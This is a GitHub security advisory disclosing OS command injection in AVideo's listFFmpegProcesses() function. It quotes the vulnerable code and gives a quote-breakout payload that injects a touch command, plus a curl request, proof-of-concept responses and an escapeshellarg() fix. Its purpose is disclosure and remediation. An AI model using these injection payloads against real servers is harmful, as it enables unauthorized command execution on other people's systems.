Skip to content

OS command injection in plugin/API/standAlone/functions.php listFFmpegProcesses() via unescaped keyword grep breakout (list / isKeywordRunning modes)

High
DanielnetoDotCom published GHSA-j44m-77cc-p3cc Jul 1, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The helper listFFmpegProcesses($keyword) in plugin/API/standAlone/functions.php builds a shell pipeline by interpolating $keyword inside single quotes and running it with exec():

$command .= " | grep '$keyword'";
exec($command, $output, $status);

The two callers in plugin/API/standAlone/ffmpeg.json.php (the list mode and the isKeywordRunning mode) pass the RAW decrypted codeToExec field, not the sanitized $keyword variable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for example x'; touch /tmp/marker #) breaks out and injects an arbitrary command that runs via exec()'s /bin/sh -c. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user.

Vulnerable code

Sink — plugin/API/standAlone/functions.php, listFFmpegProcesses() (around lines 139-147):

function listFFmpegProcesses($keyword = '')
{
    $command = "ps -eo pid,etime,%cpu,%mem,cmd | grep '[f]fmpeg'";

    if (!empty($keyword)) {
        $command .= " | grep '$keyword'";   // $keyword interpolated inside single quotes, unescaped
    }

    exec($command, $output, $status);       // runs via /bin/sh -c

Callers — plugin/API/standAlone/ffmpeg.json.php pass the RAW decrypted field, bypassing the allowlisting applied to the local $keyword variable. That local variable is built at line ~136 as $keyword = preg_replace('/[^a-zA-Z0-9_-]/', '', $codeToExec->keyword), but the two callers below never use it:

// list mode (line ~221)
$list = listFFmpegProcesses($codeToExec->keyword);

// isKeywordRunning mode (line ~341)
$list = listFFmpegProcesses($codeToExec->isKeywordRunning);

Neither mode is gated by the $isStandAlone check that guards the deleteFolder / deleteFile modes, so both run on any AVideo instance.

Reachability

Reached by sending a codeToExec payload with either list = 1 and a malicious keyword, or with a malicious isKeywordRunning value. Both modes call listFFmpegProcesses() with the raw field before any allowlist is applied to it.

Privilege required

Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted codeToExec payload with a valid APISecret. _decryptString() calls the platform decryptString API (AES-256-CBC; key = hash('sha256', $global['saltV2']), iv = substr(hash('sha256', $global['systemRootPath']), 0, 16)), and the payload is accepted when payload->time is within the last 30 seconds. No interactive login is required.

Reproduction (end-to-end, against master HEAD)

Deployed the master HEAD source (commit 8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed the decryptString / isAPISecretValid platform APIs live over HTTP. APISecret is md5($global['salt'] . $global['systemRootPath'] . 'API').

A codeToExec was encrypted (encryptString()) with:

  • time = now
  • list = 1
  • keyword = x'; touch /tmp/avideo_kw_rce_1782909694_20509 #

POST:

curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
  --data-urlencode "APISecret=<APISecret>" \
  --data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"

Verbatim response (normal list output while the injection ran as a side effect):

{"error":false,"msg":"","list":[]}

The injected touch ran (marker created by the web-server user):

-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_kw_rce_1782909694_20509

Same result through the isKeywordRunning mode (payload x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #):

{"error":true,"msg":"No FFmpeg process found with the given keyword","isRunning":false,"keyword":"x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #"}
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_ikr_rce_1782909715_3303

Negative control (benign alphanumeric keyword benignkw123, list mode): same code path, marker NOT created:

{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kwneg_1782909713_28529': No such file or directory

Patched re-run (after applying escapeshellarg() as below): the injection is neutralized and the marker is NOT created:

{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kw_rce_PATCHED_1782909782_8294': No such file or directory

Impact

Arbitrary OS command execution on the AVideo host as the web-server user (the account that owns the application files, configuration, database credentials, and saltV2). An attacker can read and modify site data, pivot to the database, and persist. This is a distinct sink (the grep single-quote breakout in listFFmpegProcesses) from the completion-hook concatenation elsewhere in the same endpoint, and it is reachable through two different modes.

Suggested fix

Escape the keyword at the shell boundary in listFFmpegProcesses():

if (!empty($keyword)) {
    $command .= " | grep " . escapeshellarg($keyword);
}

Alternatively, have the list / isKeywordRunning callers pass the already-allowlisted $keyword value instead of the raw decrypted field. Escaping inside listFFmpegProcesses() is preferred because it protects every caller.

Credit

Reported by tonghuaroot.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-63492

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits